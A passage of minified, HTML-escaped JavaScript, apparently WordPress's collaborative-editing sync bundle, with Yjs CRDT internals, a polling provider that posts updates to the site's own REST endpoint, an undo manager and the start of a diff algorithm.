r=this.parent;this.countable&amp;&amp;this.parentSub===null&amp;&amp;(r._length-=this.length),this.markDeleted(),cn(e.deleteSet,this.id.client,this.id.clock,this.length),gl(e,r,this.parentSub),this.content.delete(e)}}gc(e,r){if(!this.deleted)throw ce();this.content.gc(e),r?Ag(e,this,new oe(this.id,this.length)):this.content=new vr(this.length)}write(e,r){let n=r&gt;0?R(this.id.client,this.id.clock+r-1):this.origin,o=this.rightOrigin,s=this.parentSub,i=this.content.getRef()&amp;31|(n===null?0:128)|(o===null?0:64)|(s===null?0:32);if(e.writeInfo(i),n!==null&amp;&amp;e.writeLeftID(n),o!==null&amp;&amp;e.writeRightID(o),n===null&amp;&amp;o===null){let c=this.parent;if(c._item!==void 0){let a=c._item;if(a===null){let u=yi(c);e.writeParentInfo(!0),e.writeString(u)}else e.writeParentInfo(!1),e.writeLeftID(a.id)}else c.constructor===String?(e.writeParentInfo(!0),e.writeString(c)):c.constructor===$e?(e.writeParentInfo(!1),e.writeLeftID(c)):ce();s!==null&amp;&amp;e.writeString(s)}this.content.write(e,r)}},cu=(t,e)=&gt;vm[e&amp;31](t),vm=[()=&gt;{ce()},im,um,sm,hm,am,lm,bm,fm,cm,()=&gt;{ce()}],Cm=10,X=class extends br{get deleted(){return!0}delete(){}mergeWith(e){return this.constructor!==e.constructor?!1:(this.length+=e.length,!0)}integrate(e,r){ce()}write(e,r){e.writeInfo(Cm),v(e.restEncoder,this.length-r)}getMissing(e,r){return null}},au=typeof globalThis&lt;&quot;u&quot;?globalThis:typeof window&lt;&quot;u&quot;?window:typeof global&lt;&quot;u&quot;?global:{},lu=&quot;__ $YJS$ __&quot;;au[lu]===!0&amp;&amp;console.error(&quot;Yjs was already imported. This breaks constructor checks and will lead to issues! - https://github.com/yjs/yjs/issues/438&quot;);au[lu]=!0;var Ri=3e4,qt=class extends sr{constructor(e){super(),this.doc=e,this.clientID=e.clientID,this.states=new Map,this.meta=new Map,this._checkInterval=setInterval(()=&gt;{let r=it();this.getLocalState()!==null&amp;&amp;Ri/2&lt;=r-this.meta.get(this.clientID).lastUpdated&amp;&amp;this.setLocalState(this.getLocalState());let n=[];this.meta.forEach((o,s)=&gt;{s!==this.clientID&amp;&amp;Ri&lt;=r-o.lastUpdated&amp;&amp;this.states.has(s)&amp;&amp;n.push(s)}),n.length&gt;0&amp;&amp;Ti(this,n,&quot;timeout&quot;)},fe(Ri/10)),e.on(&quot;destroy&quot;,()=&gt;{this.destroy()}),this.setLocalState({})}destroy(){this.emit(&quot;destroy&quot;,[this]),this.setLocalState(null),super.destroy(),clearInterval(this._checkInterval)}getLocalState(){return this.states.get(this.clientID)||null}setLocalState(e){let r=this.clientID,n=this.meta.get(r),o=n===void 0?0:n.clock+1,s=this.states.get(r);e===null?this.states.delete(r):this.states.set(r,e),this.meta.set(r,{clock:o,lastUpdated:it()});let i=[],c=[],a=[],u=[];e===null?u.push(r):s==null?e!=null&amp;&amp;i.push(r):(c.push(r),Xr(s,e)||a.push(r)),(i.length&gt;0||a.length&gt;0||u.length&gt;0)&amp;&amp;this.emit(&quot;change&quot;,[{added:i,updated:a,removed:u},&quot;local&quot;]),this.emit(&quot;update&quot;,[{added:i,updated:c,removed:u},&quot;local&quot;])}setLocalStateField(e,r){let n=this.getLocalState();n!==null&amp;&amp;this.setLocalState({...n,[e]:r})}getStates(){return this.states}},Ti=(t,e,r)=&gt;{let n=[];for(let o=0;o&lt;e.length;o++){let s=e[o];if(t.states.has(s)){if(t.states.delete(s),s===t.clientID){let i=t.meta.get(s);t.meta.set(s,{clock:i.clock+1,lastUpdated:it()})}n.push(s)}}n.length&gt;0&amp;&amp;(t.emit(&quot;change&quot;,[{added:[],updated:[],removed:n},r]),t.emit(&quot;update&quot;,[{added:[],updated:[],removed:n},r]))};var uu=1,So=&quot;fromPersistence&quot;,bo=&quot;document&quot;,Rr=&quot;state&quot;,Wt=&quot;savedAt&quot;,du=&quot;savedBy&quot;,fu=&quot;version&quot;,vo=&quot;gutenberg&quot;,xi=&quot;syncManager&quot;,hu=&quot;gutenberg-undo-ignored&quot;;var Tr=(t=&gt;(t.AUTHENTICATION_FAILED=&quot;authentication-failed&quot;,t.CONNECTION_EXPIRED=&quot;connection-expired&quot;,t.CONNECTION_LIMIT_EXCEEDED=&quot;connection-limit-exceeded&quot;,t.DOCUMENT_SIZE_LIMIT_EXCEEDED=&quot;document-size-limit-exceeded&quot;,t.UNKNOWN_ERROR=&quot;unknown-error&quot;,t))(Tr||{}),Ii=class extends Error{constructor(t=&quot;unknown-error&quot;,e){super(e),this.code=t,this.name=&quot;ConnectionError&quot;}};var gu=w(Ai(),1),{lock:mu,unlock:sb}=(0,gu.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/sync&quot;);function yu(t){return function(...e){let r=performance.now(),n=t.apply(this,e),o=performance.now();return console.log(`[SyncManager][performance]: ${t.name} took ${(o-r).toFixed(2)} ms`),n}}function Eu(t){return((...e)=&gt;t(...e))}function wu(t){return function(...e){setTimeout(()=&gt;{t.apply(this,e)},0)}}var Fu=w(Co(),1);var Mu=w(Co(),1);var Su=0,bu=1,Rm=2,vu=(t,e)=&gt;{v(t,Su);let r=mi(e);J(t,r)},Tm=(t,e,r)=&gt;{v(t,bu),J(t,hi(e,r))},xm=(t,e,r)=&gt;Tm(e,r,Q(t)),Cu=(t,e,r,n)=&gt;{try{fi(e,Q(t),r)}catch(o){n?.(o),console.error(&quot;Caught error while handling a Yjs update&quot;,o)}};var Im=Cu,Di=(t,e,r,n,o)=&gt;{let s=T(t);switch(s){case Su:xm(t,e,r);break;case bu:Cu(t,r,n,o);break;case Rm:Im(t,r,n,o);break;default:throw new Error(&quot;Unknown message type&quot;)}return s};var ki=w(Co(),1),Oi=3,Ru=[2e3,4e3,8e3,12e3],Tu=[1e3,2e3,4e3,8e3],xu=3e4,Iu=15e3,Ui=1*1024*1024,yn=50,Li=(0,ki.applyFilters)(&quot;sync.pollingManager.pollingInterval&quot;,4e3),Au=(0,ki.applyFilters)(&quot;sync.pollingManager.pollingIntervalWithCollaborators&quot;,1e3),Du=25*1e3;var le=(t=&gt;(t.COMPACTION=&quot;compaction&quot;,t.SYNC_STEP_1=&quot;sync_step1&quot;,t.SYNC_STEP_2=&quot;sync_step2&quot;,t.UPDATE=&quot;update&quot;,t))(le||{});var Pi=w(Ae(),1);var ku=&quot;/wp-sync/v1/updates&quot;;function Dm(t){let e=&quot;&quot;,r=t.byteLength;for(let n=0;n&lt;r;n++)e+=String.fromCharCode(t[n]);return globalThis.btoa(e)}function Mi(t){let e=globalThis.atob(t),r=e.length,n=new Uint8Array(r);for(let o=0;o&lt;r;o++)n[o]=e.charCodeAt(o);return n}function xr(t,e){return{data:Dm(t),type:e}}function Ou(t=[],e=!0){let r=e,n=[...t];return{add(o){n.push(o)},addBulk(o){o.length!==0&amp;&amp;n.push(...o)},clear(){n.splice(0,n.length)},get(){return r?[]:n.splice(0,n.length)},pause(){r=!0},restore(o){let s=o.filter(i=&gt;i.type!==le.COMPACTION);s.length!==0&amp;&amp;n.unshift(...s)},resume(){r=!1},size(){return n.length}}}async function Uu(t){let e=await(0,Pi.default)({body:JSON.stringify(t),headers:{&quot;Content-Type&quot;:&quot;application/json&quot;},method:&quot;POST&quot;,parse:!1,path:ku});if(!e.ok)throw new Error(`Sync update failed with status ${e.status}`);return await e.json()}function Ni(t){t.rooms.length!==0&amp;&amp;(0,Pi.default)({body:JSON.stringify(t),headers:{&quot;Content-Type&quot;:&quot;application/json&quot;},keepalive:!0,method:&quot;POST&quot;,parse:!1,path:ku}).catch(()=&gt;{})}function Lu(t,e){let r=parseInt(String(t),10);return isNaN(r)?e:r}function Pu(t,e,r){if(t.length===0)return{window:[],nextOffset:0};let n=(e%t.length+t.length)%t.length;return{window:[...t.slice(n),...t.slice(0,n)].slice(0,Math.max(0,r)),nextOffset:(n+Math.max(0,r))%t.length}}var wn=&quot;polling-manager&quot;;function km(t){return t?.data?.status===403}function Om(t,e){let r=typeof t.message==&quot;string&quot;?t.message:&quot;&quot;,n=[...e].sort((o,s)=&gt;s.length-o.length);for(let o of n)if(r.includes(o))return o;return null}function Um(t,e){let r=Om(t,e.map(n=&gt;n.room));if(r){let n=P.get(r);n&amp;&amp;(n.log(&quot;Permission denied, unregistering room&quot;,{error:t},&quot;error&quot;,!0),_n(r,{sendDisconnectSignal:!1}));for(let o of e){if(o.room===r||!P.has(o.room))continue;let s=P.get(o.room);o.updates.length&gt;0&amp;&amp;s.updateQueue.restore(o.updates)}}else{let n=[...P.keys()];for(let o of n){let s=P.get(o);s&amp;&amp;(s.log(&quot;Permission denied, unregistering room&quot;,{error:t},&quot;error&quot;,!0),_n(o,{sendDisconnectSignal:!1}))}}}var P=new Map;function Lm(t){let e=t.filter(r=&gt;[le.COMPACTION,le.UPDATE].includes(r.type)).map(r=&gt;Mi(r.data));return xr(Bt(e),le.COMPACTION)}function Pm(t){let e=Ce();return vu(e,t),xr(re(e),le.SYNC_STEP_1)}function Mm(t,e){let r=G(e),n=Ce();return Di(r,n,t,wn),xr(re(n),le.SYNC_STEP_2)}function Nm(t,e){let r=e.getStates(),n=new Set,o=new Set,s=new Set(Array.from(r.keys()).filter(i=&gt;!t[i]));Object.entries(t).forEach(([i,c])=&gt;{let a=Number(i);if(a===e.clientID)return;if(c===null){r.delete(a),s.add(a);return}if(!r.has(a)){r.set(a,c),n.add(a);return}let u=r.get(a);JSON.stringify(u)!==JSON.stringify(c)&amp;&amp;(r.set(a,c),o.add(a))}),n.size+o.size&gt;0&amp;&amp;e.emit(&quot;change&quot;,[{added:Array.from(n),updated:Array.from(o),removed:[]}]),s.size&gt;0&amp;&amp;Ti(e,Array.from(s),wn)}function Vm(t,e,r){let n=Mi(t.data);switch(t.type){case le.SYNC_STEP_1:return Mm(e,n);case le.SYNC_STEP_2:{let o=G(n),s=Ce();Di(o,s,e,wn),r();return}case le.COMPACTION:case le.UPDATE:Be(e,n,wn)}}function Bm(t,e){if(!e.isPrimaryRoom||Vi)return!1;Vi=!0;let r=(0,Mu.applyFilters)(&quot;sync.pollingProvider.maxClientsPerRoom&quot;,Oi,e.room),n=Object.keys(t).length,o=Lu(r,Oi);return n&gt;o?(e.log(&quot;Connection limit exceeded&quot;,{clientCount:n,maxClientsPerRoom:o,room:e.room}),!0):!1}var Io=!1,Jt=0,Vi=!1,To=!1,Ro=!1,En=document.visibilityState===&quot;visible&quot;,xo=!1,Bi=!1,He=Li,pt=null,ji=0;function Nu(){Bi=!0}function Vu(){let t=Array.from(P.entries()).map(([e,r])=&gt;({after:0,awareness:null,client_id:r.clientId,room:e,updates:[]}));for(let e=0;e&lt;t.length;e+=yn)Ni({rooms:t.slice(e,e+yn)})}function Bu(){let t=En;En=document.visibilityState===&quot;visible&quot;,En&amp;&amp;!t&amp;&amp;pt&amp;&amp;(clearTimeout(pt),pt=null,Ao())}function jm(){let t=Array.from(P.values());if(t.length&lt;=yn)return t;let e=t.find(i=&gt;i.isPrimaryRoom),r=t.filter(i=&gt;i!==e),n=yn-(e?1:0),{window:o,nextOffset:s}=Pu(r,ji,n);return ji=s,e?[e,...o]:o}function Ao(){xo=!0,pt=null;async function t(){if(P.size===0){xo=!1;return}Bi=!1;let e=jm(),r={rooms:e.map(n=&gt;({after:n.endCursor??0,awareness:n.localAwarenessState,client_id:n.clientId,room:n.room,updates:n.updateQueue.get()}))};e.forEach(n=&gt;{n.onStatusChange({status:&quot;connecting&quot;})});try{let{rooms:n}=await Uu(r);Jt=0,To=!1,e.forEach(o=&gt;{P.get(o.room)===o&amp;&amp;o.onStatusChange({status:&quot;connected&quot;})}),Ro=!1,n.forEach(o=&gt;{if(!P.has(o.room))return;let s=P.get(o.room);if(s.endCursor=o.end_cursor,Bm(o.awareness,s)){s.onStatusChange({status:&quot;disconnected&quot;,error:new Ii(Tr.CONNECTION_LIMIT_EXCEEDED,&quot;Connection limit exceeded&quot;)}),_n(o.room);return}s.processAwarenessUpdate(o.awareness),s.isPrimaryRoom&amp;&amp;Object.keys(o.awareness).length&gt;1&amp;&amp;(Ro=!0,P.forEach(c=&gt;{c.updateQueue.resume()}));let i=[];for(let c of o.updates)try{let a=s.processDocUpdate(c);a&amp;&amp;i.push(a)}catch(a){s.log(&quot;Failed to apply sync update&quot;,{error:a,update:c},&quot;error&quot;,!0)}s.updateQueue.addBulk(i),o.should_compact?(s.log(&quot;Server requested compaction update&quot;),s.updateQueue.clear(),s.updateQueue.add(s.createCompactionUpdate())):o.compaction_request&amp;&amp;(s.log(&quot;Server requested (old) compaction update&quot;),s.updateQueue.add(Lm(o.compaction_request)))}),En&amp;&amp;Ro?He=Au:En?He=Li:He=Du}catch(n){if(km(n)){if(Um(n,r.rooms),P.size===0){xo=!1;return}}else{Jt++;let o=Ro?Tu:Ru;Jt&lt;=o.length?He=o[Jt-1]:He=xu,To&amp;&amp;(He=Iu,To=!1);for(let s of r.rooms){if(!P.has(s.room))continue;let i=P.get(s.room);s.updates.length&gt;0&amp;&amp;i.endCursor&gt;0?(i.updateQueue.clear(),i.updateQueue.add(i.createCompactionUpdate())):s.updates.length&gt;0&amp;&amp;i.updateQueue.restore(s.updates),i.log(&quot;Error posting sync update, will retry with backoff&quot;,{error:n,nextPoll:He},&quot;error&quot;,!0)}if(!Bi){let s=Jt&gt;o.length;e.forEach(i=&gt;{P.get(i.room)===i&amp;&amp;i.onStatusChange({status:&quot;disconnected&quot;,canManuallyRetry:!0,consecutiveFailures:Jt,backgroundRetriesFailed:s,willAutoRetryInMs:He})})}}}pt=setTimeout(Ao,He)}t()}function Fm({room:t,doc:e,awareness:r,log:n,onSync:o,onStatusChange:s}){if(P.has(t))return;let i=Ou([Pm(e)]),c=P.size===0;function a(){d.localAwarenessState=r.getLocalState()??{}}function u(f,h){if(wn!==h){if(f.byteLength&gt;Ui){let p=P.get(t);if(!p)return;p.log(&quot;Document size limit exceeded&quot;,{maxUpdateSizeInBytes:Ui,updateSizeInBytes:f.byteLength}),p.onStatusChange({status:&quot;disconnected&quot;,error:new Ii(Tr.DOCUMENT_SIZE_LIMIT_EXCEEDED,&quot;Document size limit exceeded&quot;)}),_n(t)}i.add(xr(f,le.UPDATE))}}function l(){e.off(&quot;updateV2&quot;,u),r.off(&quot;change&quot;,a),i.clear()}let d={clientId:e.clientID,createCompactionUpdate:()=&gt;xr(ht(e),le.COMPACTION),endCursor:0,isPrimaryRoom:c,localAwarenessState:r.getLocalState()??{},log:n,onStatusChange:s,processAwarenessUpdate:f=&gt;Nm(f,r),processDocUpdate:f=&gt;Vm(f,e,o),room:t,unregister:l,updateQueue:i};e.on(&quot;updateV2&quot;,u),r.on(&quot;change&quot;,a),P.set(t,d),Io||(window.addEventListener(&quot;beforeunload&quot;,Nu),window.addEventListener(&quot;pagehide&quot;,Vu),document.addEventListener(&quot;visibilitychange&quot;,Bu),Io=!0),xo||Ao()}function _n(t,{sendDisconnectSignal:e=!0}={}){let r=P.get(t);if(r){if(e){let n=[{after:0,awareness:null,client_id:r.clientId,room:t,updates:[]}];Ni({rooms:n})}r.unregister(),P.delete(t)}P.size===0&amp;&amp;Io&amp;&amp;(window.removeEventListener(&quot;beforeunload&quot;,Nu),window.removeEventListener(&quot;pagehide&quot;,Vu),document.removeEventListener(&quot;visibilitychange&quot;,Bu),Io=!1,Vi=!1,Jt=0,ji=0)}function Ym(){To=!0,pt&amp;&amp;(clearTimeout(pt),pt=null,Ao())}var Sn={registerRoom:Fm,retryNow:Ym,unregisterRoom:_n};var Gm=class extends rt{constructor(t){super(),this.options=t,this.log(&quot;Initializing&quot;,{room:t.room}),this.awareness=t.awareness??new qt(t.ydoc),this.connect()}awareness;status=&quot;disconnected&quot;;synced=!1;connect(){this.log(&quot;Connecting&quot;),Sn.registerRoom({room:this.options.room,doc:this.options.ydoc,awareness:this.awareness,log:this.log,onStatusChange:this.emitStatus,onSync:this.onSync})}destroy(){this.disconnect(),super.destroy()}disconnect(){this.log(&quot;Disconnecting&quot;),Sn.unregisterRoom(this.options.room),this.emitStatus({status:&quot;disconnected&quot;})}emitStatus=t=&gt;{let{status:e}=t,r=e===&quot;disconnected&quot;?t.error:void 0;this.status===e&amp;&amp;!r||e===&quot;connecting&quot;&amp;&amp;this.status!==&quot;disconnected&quot;||(this.log(&quot;Status change&quot;,{status:e,error:r}),this.status=e,this.emit(&quot;status&quot;,[t]))};log=(t,e={},r=&quot;log&quot;,n=!1)=&gt;{if(!this.options.debug&amp;&amp;!n)return;(console[r]||console.log)(`[${this.constructor.name}]: ${t}`,{room:this.options.room,...e})};onSync=()=&gt;{this.synced||(this.synced=!0,this.log(&quot;Synced&quot;))}};function ju(){return async({awareness:t,objectType:e,objectId:r,ydoc:n})=&gt;{let o=r?`${e}:${r}`:e,s=new Gm({awareness:t,room:o,ydoc:n});return{destroy:()=&gt;s.destroy(),on:(i,c)=&gt;{s.on(i,c)}}}}var Ir=null;function $m(){return[ju()]}function zm(t){return typeof t==&quot;function&quot;}function Fi(){if(Ir)return Ir;if(!window._wpCollaborationEnabled)return[];let t=(0,Fu.applyFilters)(&quot;sync.providers&quot;,$m());return Array.isArray(t)?(Ir=t.filter(zm),Ir):(Ir=[],Ir)}var Yu=(t,e)=&gt;{let r=e===&quot;undo&quot;?t.undoStack:t.redoStack;for(;r.length&gt;0;){let n=r.pop(),o=e===&quot;undo&quot;?n.undoStack:n.redoStack,s=o.pop(),i=!1;if(e===&quot;undo&quot;?(n.undoStack=[s],i=n.undo()!==null,n.undoStack=o):(n.redoStack=[s],i=n.redo()!==null,n.redoStack=o),i)return s}return null},Gu=class extends sr{constructor(t=[],e={}){super(),this.docs=new Map,this.trackedOrigins=e.trackedOrigins||new Set([null]),e.trackedOrigins=this.trackedOrigins,this._defaultOpts=e,this.undoStack=[],this.redoStack=[],this.addToScope(t)}addToScope(t){t=xt(t)?t:[t],t.forEach(e=&gt;{let r=e.doc,n=K(this.docs,r,()=&gt;{let o=new Vt([e],this._defaultOpts);return o.on(&quot;stack-cleared&quot;,({undoStackCleared:s,redoStackCleared:i})=&gt;{this.clear(s,i)}),r.on(&quot;destroy&quot;,()=&gt;{this.docs.delete(r),this.undoStack=this.undoStack.filter(s=&gt;s.doc!==r),this.redoStack=this.redoStack.filter(s=&gt;s.doc!==r)}),o.on(&quot;stack-item-added&quot;,s=&gt;{(s.type===&quot;undo&quot;?this.undoStack:this.redoStack).push(o),this.emit(&quot;stack-item-added&quot;,[{...s,ydoc:r},this])}),o.on(&quot;stack-item-updated&quot;,s=&gt;{this.emit(&quot;stack-item-updated&quot;,[{...s,ydoc:r},this])}),o.on(&quot;stack-item-popped&quot;,s=&gt;{this.emit(&quot;stack-item-popped&quot;,[{...s,ydoc:r},this])}),o});n.scope.every(o=&gt;o!==e)&amp;&amp;n.scope.push(e)})}addTrackedOrigin(t){this.trackedOrigins.add(t)}removeTrackedOrigin(t){this.trackedOrigins.delete(t)}undo(){return Yu(this,&quot;undo&quot;)}redo(){return Yu(this,&quot;redo&quot;)}clear(t=!0,e=!0){(t&amp;&amp;this.canUndo()||e&amp;&amp;this.canRedo())&amp;&amp;(this.docs.forEach(r=&gt;{t&amp;&amp;(this.undoStack=[]),e&amp;&amp;(this.redoStack=[]),r.clear(t,e)}),this.emit(&quot;stack-cleared&quot;,[{undoStackCleared:t,redoStackCleared:e}]))}stopCapturing(){this.docs.forEach(t=&gt;{t.stopCapturing()})}canUndo(){return this.undoStack.length&gt;0}canRedo(){return this.redoStack.length&gt;0}destroy(){this.docs.forEach(t=&gt;t.destroy()),super.destroy()}};function $u(){let t=new Gu([],{captureTimeout:500,trackedOrigins:new Set([vo])});return{addRecord(e,r=!1){},addToScope(e,r){if(e.doc===null)return;let n=e.doc;t.addToScope(e);let{addUndoMeta:o,restoreUndoMeta:s}=r;t.on(&quot;stack-item-added&quot;,i=&gt;{o(n,i.stackItem.meta)}),t.on(&quot;stack-item-popped&quot;,i=&gt;{s(n,i.stackItem.meta)})},undo(){if(t.canUndo())return t.undo(),[]},redo(){if(t.canRedo())return t.redo(),[]},hasUndo(){return t.canUndo()},hasRedo(){return t.canRedo()},stopCapturing(){t.stopCapturing()}}}function Do(t={}){let e=new Map(Object.entries(t));return new Me({meta:e})}function Yi(t){t.getMap(Rr).set(fu,uu)}function Gi(t){let e=t.getMap(Rr);e.set(Wt,Date.now()),e.set(du,t.clientID)}function zu(){return Math.floor(Math.random()*1e9)}function Ku(t){return JSON.stringify({document:Ja(ht(t)),updateId:zu()})}function Hu(t){try{let{document:e}=JSON.parse(t),r={[So]:!0},n=Do(r),o=Qa(e);return Be(n,o),n.clientID=zu(),n}catch{return null}}function gt(t,e){return`${t}_${e}`}function qu(t=!1){let e=t?yu:Eu,r=new Map,n=new Map,o;function s(g,m,y,E={}){t&amp;&amp;console.log(`[SyncManager][${g}]: ${m}`,{...E,entityId:y})}async function i(g,m,y,E,_){let S=Fi(),b=gt(m,y);if(S.length===0){s(&quot;loadEntity&quot;,&quot;no providers, skipping&quot;,b);return}if(n.has(b)){s(&quot;loadEntity&quot;,&quot;already loaded&quot;,b);return}if(g.shouldSync?.(m,y)===!1){s(&quot;loadEntity&quot;,&quot;shouldSync false, skipping&quot;,b);return}s(&quot;loadEntity&quot;,&quot;loading&quot;,b),_={addUndoMeta:e(_.addUndoMeta),editRecord:e(_.editRecord),getEditedRecord:e(_.getEditedRecord),onStatusChange:e(_.onStatusChange),persistCRDTDoc:e(_.persistCRDTDoc),refetchRecord:e(_.refetchRecord),restoreUndoMeta:e(_.restoreUndoMeta)};let I=Do({objectType:m}),O=I.getMap(bo),U=I.getMap(Rr),$=Date.now(),j=()=&gt;{s(&quot;loadEntity&quot;,&quot;unloading&quot;,b),Ph.forEach(rr=&gt;rr.destroy()),_.onStatusChange(null),O.unobserveDeep(Ie),U.unobserve(be),I.destroy(),n.delete(b)},de=g.createAwareness?.(I,y),Ie=(rr,St)=&gt;{St.local&amp;&amp;!(St.origin instanceof Vt)||p.updateEntityRecord(m,y)},be=(rr,St)=&gt;{St.local||rr.keysChanged.forEach(Mh=&gt;{if(Mh===Wt){let Kc=U.get(Wt);typeof Kc==&quot;number&quot;&amp;&amp;Kc&gt;$&amp;&amp;(s(&quot;loadEntity&quot;,&quot;refetching record&quot;,b),_.refetchRecord().catch(()=&gt;{}))}})};o||(o=$u());let{addUndoMeta:Vr,restoreUndoMeta:tr}=_;o.addToScope(O,{addUndoMeta:Vr,restoreUndoMeta:tr});let Vn={awareness:de,handlers:_,objectId:y,objectType:m,syncConfig:g,unload:j,ydoc:I};n.set(b,Vn),s(&quot;loadEntity&quot;,&quot;connecting&quot;,b);let Ph=await Promise.all(S.map(async rr=&gt;{let St=await rr({objectType:m,objectId:y,ydoc:I,awareness:de});return St.on(&quot;status&quot;,_.onStatusChange),St}));O.observeDeep(Ie),U.observe(be),Yi(I),p.applyPersistedCrdtDoc(m,y,E)}async function c(g,m,y){let E=Fi(),_=gt(m,null);if(E.length===0){s(&quot;loadCollection&quot;,&quot;no providers, skipping&quot;,_);return}if(r.has(m)){s(&quot;loadCollection&quot;,&quot;already loaded&quot;,_);return}if(g.shouldSync?.(m,null)===!1){s(&quot;loadCollection&quot;,&quot;shouldSync false, skipping&quot;,_);return}s(&quot;loadCollection&quot;,&quot;loading&quot;,_);let S=Do({collection:!0,objectType:m}),b=S.getMap(Rr),I=Date.now(),O=()=&gt;{s(&quot;loadCollection&quot;,&quot;unloading&quot;,_),de.forEach(Ie=&gt;Ie.destroy()),y.onStatusChange(null),b.unobserve(U),S.destroy(),r.delete(m)},U=(Ie,be)=&gt;{be.local||Ie.keysChanged.forEach(Vr=&gt;{if(Vr===Wt){let tr=b.get(Wt);typeof tr==&quot;number&quot;&amp;&amp;tr&gt;I&amp;&amp;y.refetchRecords().catch(()=&gt;{})}})},$=g.createAwareness?.(S),j={awareness:$,handlers:y,syncConfig:g,unload:O,ydoc:S};r.set(m,j),s(&quot;loadCollection&quot;,&quot;connecting&quot;,_);let de=await Promise.all(E.map(async Ie=&gt;{let be=await Ie({awareness:$,objectType:m,objectId:null,ydoc:S});return be.on(&quot;status&quot;,y.onStatusChange),be}));b.observe(U),Yi(S)}function a(g,m){let y=gt(g,m);s(&quot;unloadEntity&quot;,&quot;unloading&quot;,y),n.get(y)?.unload(),d(g,null,{},origin,{isSave:!0})}function u(g,m){let y=gt(g,m),E=n.get(y);if(!(!E||!E.awareness))return E.awareness}function l(g,m,y){let E=gt(g,m),_=n.get(E);if(!_){s(&quot;applyPersistedCrdtDoc&quot;,&quot;no entity state&quot;,E);return}let{handlers:S,syncConfig:{applyChangesToCRDTDoc:b,getChangesFromCRDTDoc:I,getPersistedCRDTDoc:O},ydoc:U}=_,$=O?.(y),j=$?Hu($):null;if(!j){s(&quot;applyPersistedCrdtDoc&quot;,&quot;no persisted doc&quot;,E),U.transact(()=&gt;{b(U,y),S.persistCRDTDoc()},xi);return}let de=ht(j);Be(U,de);let Ie=I(j,y),be=Object.keys(Ie);if(j.destroy(),be.length===0){s(&quot;applyPersistedCrdtDoc&quot;,&quot;valid persisted doc&quot;,E);return}s(&quot;applyPersistedCrdtDoc&quot;,&quot;invalidated keys&quot;,E,{invalidatedKeys:be});let Vr=be.reduce((tr,Vn)=&gt;Object.assign(tr,{[Vn]:y[Vn]}),{});U.transact(()=&gt;{b(U,Vr),S.persistCRDTDoc()},xi)}function d(g,m,y,E,_={}){let{isSave:S=!1,isNewUndoLevel:b=!1}=_,I=gt(g,m),O=n.get(I),U=r.get(g);if(O){let{syncConfig:$,ydoc:j}=O;b&amp;&amp;o&amp;&amp;o.stopCapturing?.(),j.transact(()=&gt;{s(&quot;updateCRDTDoc&quot;,&quot;applying changes&quot;,I,{changedKeys:Object.keys(y)}),$.applyChangesToCRDTDoc(j,y),S&amp;&amp;Gi(j)},E)}U&amp;&amp;S&amp;&amp;U.ydoc.transact(()=&gt;{Gi(U.ydoc)},E)}async function f(g,m){let y=gt(g,m),E=n.get(y);if(!E){s(&quot;updateEntityRecord&quot;,&quot;no entity state&quot;,y);return}let{handlers:_,syncConfig:S,ydoc:b}=E,I=S.getChangesFromCRDTDoc(b,await _.getEditedRecord()),O=Object.keys(I);O.length!==0&amp;&amp;(s(&quot;updateEntityRecord&quot;,&quot;changes&quot;,y,{changedKeys:O}),_.editRecord(I))}async function h(g,m){let y=gt(g,m),E=n.get(y);return E?.ydoc?(await new Promise(_=&gt;setTimeout(_,0)),Ku(E.ydoc)):null}let p={applyPersistedCrdtDoc:e(l),updateEntityRecord:e(f)};return{createPersistedCRDTDoc:e(h),getAwareness:u,load:e(i),loadCollection:e(c),get undoManager(){return o},unload:e(a),update:e(wu(d))}}var Qt=class{diff(e,r,n={}){let o;typeof n==&quot;function&quot;?(o=n,n={}):&quot;callback&quot;in n&amp;&amp;(o=n.callback);let s=this.castInput(e,n),i=this.castInput(r,n),c=this.removeEmpty(this.tokenize(s,n)),a=this.removeEmpty(this.tokenize(i,n));return this.diffWithOptionsObj(c,a,n,o)}diffWithOptionsObj(e,r,n,o){var s;let i=E=&gt;{if(E=this.postProcess(E,n),o){setTimeout(function(){o(E)},0);return}else return E},c=r.length,a=e.length,u=1,l=c+a;n.maxEditLength!=null&amp;&amp;(l=Math.min(l,n.maxEditLength));let d=(s=n.timeout)!==null&amp;&amp;s!==void 0?s:1/0,f=Date.now()+d,h=[{oldPos:-1,lastComponent:void 0}],p=this.extractCommon(h[0],r,e,0,n);if(h[0].oldPos+1&gt;=a&amp;&amp;p+1&gt;=c)return i(this.buildValues(h[0].lastComponent,r,e));let g=-1/0,m=1/0,y=()=&gt;{for(let E=Math.max(g,-u);E&lt;=Math.min(m,u);E+=2){let _,S=h[E-1],b=h[E+1];S&amp;&amp;(h[E-1]=void 0);let I=!1;if(b){let U=b.oldPos-E;I=b&amp;&amp;0&lt;=U&amp;&amp;U&lt;c}let O=S&amp;&amp;S.oldPos+1&lt;a;if(!I&amp;&amp;!O){h[E]=void 0;continue}if(!O||I&amp;&amp;S.oldPos&lt;b.oldPos?_=this.addToPath(b,!0,!1,0,n):_=this.addToPath(S,!1,!0,1,n),p=this.extractCommon(_,r,e,E,n),_.oldPos+1&gt;=a&amp;&amp;p+1&gt;=c)return i(this.buildValues(_.lastComponent,r,e))||!0;h[E]=_,_.oldPos+1&gt;=a&amp;&amp;(m=Math.min(m,E-1)),p+1&gt;=c&amp;&amp;(g=Math.max(g,E+1))}u++};if(o)(function E(){setTimeout(function(){if(u&gt;l||Date.now()&gt;f)return o(void 0);y()||E()},0)})();else for(;u&lt;=l&amp;&amp;Date.now()&lt;=f;){let E=y();if(E)return E}}addToPath(e,r,n,o,s){let i=e.lastComponent;return i&amp;&amp;!s.oneChangePerToken&amp;&amp;i.added===r&amp;&amp;i.removed===n?{oldPos:e.oldPos+o,lastComponent:{count:i.count+1,added:r,removed:n,previousComponent:i.previousComponent}}:{oldPos:e.oldPos+o,lastComponent:{count:1,added:r,removed:n,previousComponent:i}}}extractCommon(e,r,n,o,s){let i=r.length,c=n.length,a=e.oldPos,u=a-o,l=0;for(;u+1&lt;i&amp;&amp;a+1&lt;c&amp;&amp;this.equals(n[a+1],r[u+1],s);)u++,a++,l++,s.oneChangePerToken&amp;&amp;(e.lastComponent={count:1,previousComponent:e.lastComponent,added:!1,removed:!1});return l&amp;&amp;!s.oneChangePerToken&amp;&amp;(e.lastComponent={count:l,previousComponent:e.lastComponent,added:!1,removed:!1}),e.oldPos=a,u}equals(e,r,n){return 